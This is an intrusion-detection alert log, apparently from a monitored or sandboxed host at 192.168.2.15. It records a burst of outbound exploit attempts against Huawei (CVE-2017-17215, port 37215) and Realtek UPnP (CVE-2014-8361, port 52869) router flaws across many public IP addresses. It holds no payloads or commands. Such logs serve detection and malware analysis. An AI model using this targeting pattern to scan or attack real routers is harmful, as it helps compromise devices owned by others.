ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 78.250.115.189

Timestamp:	07/20/24-23:10:39.488246
SID:	2835222
Source Port:	47464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.220.170.228

Timestamp:	07/20/24-23:11:03.368250
SID:	2829579
Source Port:	47014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.39.190

Timestamp:	07/20/24-23:10:56.046357
SID:	2829579
Source Port:	37974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 68.235.64.147

Timestamp:	07/20/24-23:10:45.898672
SID:	2027339
Source Port:	44780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.63.7.91

Timestamp:	07/20/24-23:10:46.726397
SID:	2829579
Source Port:	59452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.211.189.109

Timestamp:	07/20/24-23:10:46.779706
SID:	2835222
Source Port:	54656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.175.222.250

Timestamp:	07/20/24-23:10:59.028826
SID:	2835222
Source Port:	38124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.210.143.217

Timestamp:	07/20/24-23:11:06.641258
SID:	2829579
Source Port:	58510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 106.69.59.16

Timestamp:	07/20/24-23:10:51.902171
SID:	2027339
Source Port:	38766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.160.32.39

Timestamp:	07/20/24-23:11:06.689939
SID:	2835222
Source Port:	45446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 68.91.193.135

Timestamp:	07/20/24-23:10:41.231187
SID:	2835222
Source Port:	50234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 74.83.241.55

Timestamp:	07/20/24-23:10:47.603876
SID:	2027339
Source Port:	57296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.157.26.236

Timestamp:	07/20/24-23:11:06.687949
SID:	2835222
Source Port:	40534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.176.127.22

Timestamp:	07/20/24-23:11:06.687949
SID:	2829579
Source Port:	58884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.123.192.243

Timestamp:	07/20/24-23:10:41.227401
SID:	2829579
Source Port:	40522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.31.78.156

Timestamp:	07/20/24-23:10:40.650979
SID:	2829579
Source Port:	36556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.160.161.142

Timestamp:	07/20/24-23:10:46.829468
SID:	2835222
Source Port:	51654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.115.249.45

Timestamp:	07/20/24-23:10:59.029814
SID:	2829579
Source Port:	37284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 222.64.252.118

Timestamp:	07/20/24-23:10:56.046357
SID:	2829579
Source Port:	33846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.120.190.93

Timestamp:	07/20/24-23:10:52.540929
SID:	2835222
Source Port:	55732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 170.167.39.209

Timestamp:	07/20/24-23:10:51.991411
SID:	2831300
Source Port:	39210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 47.72.19.180

Timestamp:	07/20/24-23:10:52.024960
SID:	2831300
Source Port:	50386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 105.184.58.232

Timestamp:	07/20/24-23:10:58.998725
SID:	2835222
Source Port:	50944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 151.26.100.131

Timestamp:	07/20/24-23:10:55.993044
SID:	2829579
Source Port:	52512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.28.72.248

Timestamp:	07/20/24-23:10:52.521111
SID:	2829579
Source Port:	41618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.182.171.248

Timestamp:	07/20/24-23:10:46.829468
SID:	2835222
Source Port:	57520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 147.126.106.87

Timestamp:	07/20/24-23:10:56.002189
SID:	2829579
Source Port:	41614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.108.168.224

Timestamp:	07/20/24-23:10:46.755097
SID:	2829579
Source Port:	52152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.185.86.77

Timestamp:	07/20/24-23:10:52.551688
SID:	2829579
Source Port:	44076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 47.37.4.111

Timestamp:	07/20/24-23:10:52.549473
SID:	2835222
Source Port:	40594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.20.220.200

Timestamp:	07/20/24-23:10:39.433488
SID:	2829579
Source Port:	52554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.5.98.73

Timestamp:	07/20/24-23:10:59.021280
SID:	2835222
Source Port:	58006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.11.55.143

Timestamp:	07/20/24-23:10:41.220904
SID:	2829579
Source Port:	57034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.112.133.24

Timestamp:	07/20/24-23:11:06.696229
SID:	2835222
Source Port:	33432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.155.105.181

Timestamp:	07/20/24-23:10:52.549474
SID:	2829579
Source Port:	56220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 111.75.183.223

Timestamp:	07/20/24-23:10:44.224237
SID:	2025132
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 60.111.115.239

Timestamp:	07/20/24-23:10:52.016220
SID:	2831300
Source Port:	47002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.150.32.219

Timestamp:	07/20/24-23:10:43.238361
SID:	2027339
Source Port:	48044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 180.203.254.113

Timestamp:	07/20/24-23:10:42.249913
SID:	2829579
Source Port:	44486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 86.99.249.186

Timestamp:	07/20/24-23:10:46.657302
SID:	2025132
Source Port:	40266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.152.141.49

Timestamp:	07/20/24-23:10:46.768902
SID:	2835222
Source Port:	38930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 172.248.193.236

Timestamp:	07/20/24-23:10:51.944865
SID:	2027339
Source Port:	56912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.50.43.203

Timestamp:	07/20/24-23:11:06.687949
SID:	2835222
Source Port:	60626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 134.192.167.73

Timestamp:	07/20/24-23:10:42.629188
SID:	2831300
Source Port:	56574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.64.175.189

Timestamp:	07/20/24-23:10:42.269853
SID:	2829579
Source Port:	48768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.105.235.145

Timestamp:	07/20/24-23:10:52.581805
SID:	2835222
Source Port:	48414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.18.13.170

Timestamp:	07/20/24-23:10:44.594852
SID:	2027339
Source Port:	47396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 4.210.183.193

Timestamp:	07/20/24-23:10:43.528132
SID:	2027339
Source Port:	35106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.20.149.223

Timestamp:	07/20/24-23:10:56.046357
SID:	2829579
Source Port:	48932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.30.229.13

Timestamp:	07/20/24-23:10:39.473748
SID:	2829579
Source Port:	39482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 184.128.6.167

Timestamp:	07/20/24-23:10:47.719201
SID:	2027339
Source Port:	58156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 132.67.102.180

Timestamp:	07/20/24-23:10:51.999918
SID:	2027339
Source Port:	37424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 210.246.215.230

Timestamp:	07/20/24-23:10:46.756934
SID:	2835222
Source Port:	53286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 120.182.174.145

Timestamp:	07/20/24-23:10:44.097327
SID:	2025132
Source Port:	44816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 223.170.119.134

Timestamp:	07/20/24-23:10:40.642616
SID:	2829579
Source Port:	56460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 68.232.135.127

Timestamp:	07/20/24-23:10:52.021520
SID:	2831300
Source Port:	37926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.242.43

Timestamp:	07/20/24-23:10:39.431804
SID:	2835222
Source Port:	37834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.178.175.186

Timestamp:	07/20/24-23:10:39.434366
SID:	2835222
Source Port:	55304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.145.69.35

Timestamp:	07/20/24-23:10:52.564314
SID:	2835222
Source Port:	57518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.99.38.42

Timestamp:	07/20/24-23:10:39.438615
SID:	2829579
Source Port:	48166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 158.185.201.45

Timestamp:	07/20/24-23:10:40.658204
SID:	2835222
Source Port:	48632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 155.171.90.214

Timestamp:	07/20/24-23:10:43.587662
SID:	2025132
Source Port:	50302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.167.93.130

Timestamp:	07/20/24-23:10:39.438615
SID:	2835222
Source Port:	34812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 164.168.209.243

Timestamp:	07/20/24-23:10:43.084316
SID:	2027339
Source Port:	49970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 99.171.211.36

Timestamp:	07/20/24-23:10:46.947214
SID:	2027339
Source Port:	58848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 203.62.78.235

Timestamp:	07/20/24-23:10:39.976697
SID:	2027339
Source Port:	53954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 126.29.154.162

Timestamp:	07/20/24-23:10:43.618992
SID:	2025132
Source Port:	36956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 136.211.29.117

Timestamp:	07/20/24-23:10:51.937938
SID:	2831300
Source Port:	40816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.55.78.55

Timestamp:	07/20/24-23:10:39.487319
SID:	2835222
Source Port:	55246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 91.122.92.170

Timestamp:	07/20/24-23:10:42.620216
SID:	2831300
Source Port:	37000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.180.20.80

Timestamp:	07/20/24-23:10:56.011930
SID:	2829579
Source Port:	33522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 196.217.9.9

Timestamp:	07/20/24-23:10:44.037393
SID:	2025132
Source Port:	37734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.250.42.92

Timestamp:	07/20/24-23:10:59.029814
SID:	2829579
Source Port:	58742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.116.21.37

Timestamp:	07/20/24-23:11:06.679232
SID:	2829579
Source Port:	60588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.211.68.113

Timestamp:	07/20/24-23:10:46.756934
SID:	2829579
Source Port:	48050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.22.161.137

Timestamp:	07/20/24-23:10:59.046417
SID:	2835222
Source Port:	50932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 124.162.226.185

Timestamp:	07/20/24-23:11:03.352491
SID:	2835222
Source Port:	50358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.24.244.61

Timestamp:	07/20/24-23:10:42.262762
SID:	2835222
Source Port:	57978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.92.61.85

Timestamp:	07/20/24-23:10:41.237255
SID:	2829579
Source Port:	55846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 39.91.70.157

Timestamp:	07/20/24-23:10:47.615909
SID:	2027339
Source Port:	42938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.115.120.71

Timestamp:	07/20/24-23:10:59.027427
SID:	2835222
Source Port:	33704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 131.63.7.210

Timestamp:	07/20/24-23:10:47.841560
SID:	2025132
Source Port:	34964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 146.224.112.150

Timestamp:	07/20/24-23:10:49.428717
SID:	2829579
Source Port:	41300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 115.117.47.110

Timestamp:	07/20/24-23:11:03.390577
SID:	2835222
Source Port:	34800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 42.7.241.18

Timestamp:	07/20/24-23:10:49.404246
SID:	2835222
Source Port:	56658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.208.205.254

Timestamp:	07/20/24-23:10:46.735703
SID:	2829579
Source Port:	38522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.91.198.123

Timestamp:	07/20/24-23:10:40.649994
SID:	2835222
Source Port:	55858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.181.234.52

Timestamp:	07/20/24-23:10:42.273908
SID:	2829579
Source Port:	43966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 201.38.82.44

Timestamp:	07/20/24-23:10:47.950669
SID:	2027339
Source Port:	39012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.21.149.230

Timestamp:	07/20/24-23:10:49.355429
SID:	2829579
Source Port:	41098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.235.198.119

Timestamp:	07/20/24-23:10:41.230206
SID:	2835222
Source Port:	55828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.130.80.223

Timestamp:	07/20/24-23:10:46.735704
SID:	2829579
Source Port:	37538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 65.58.210.176

Timestamp:	07/20/24-23:10:39.117975
SID:	2025132
Source Port:	48566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 47.162.26.170

Timestamp:	07/20/24-23:10:43.390649
SID:	2025132
Source Port:	47444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 8.13.226.92

Timestamp:	07/20/24-23:10:44.535658
SID:	2025132
Source Port:	52146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.243.168.27

Timestamp:	07/20/24-23:11:06.706397
SID:	2835222
Source Port:	47192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.41.106.4

Timestamp:	07/20/24-23:10:56.007995
SID:	2835222
Source Port:	59632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.218.65.16

Timestamp:	07/20/24-23:10:39.434366
SID:	2829579
Source Port:	47084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 168.175.171.32

Timestamp:	07/20/24-23:10:41.241455
SID:	2835222
Source Port:	49570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.74.105.244

Timestamp:	07/20/24-23:10:58.986541
SID:	2829579
Source Port:	51302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 103.118.11.148

Timestamp:	07/20/24-23:10:45.071813
SID:	2025132
Source Port:	60978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 125.197.181.211

Timestamp:	07/20/24-23:10:49.430121
SID:	2829579
Source Port:	46506
Destination Port:	37215
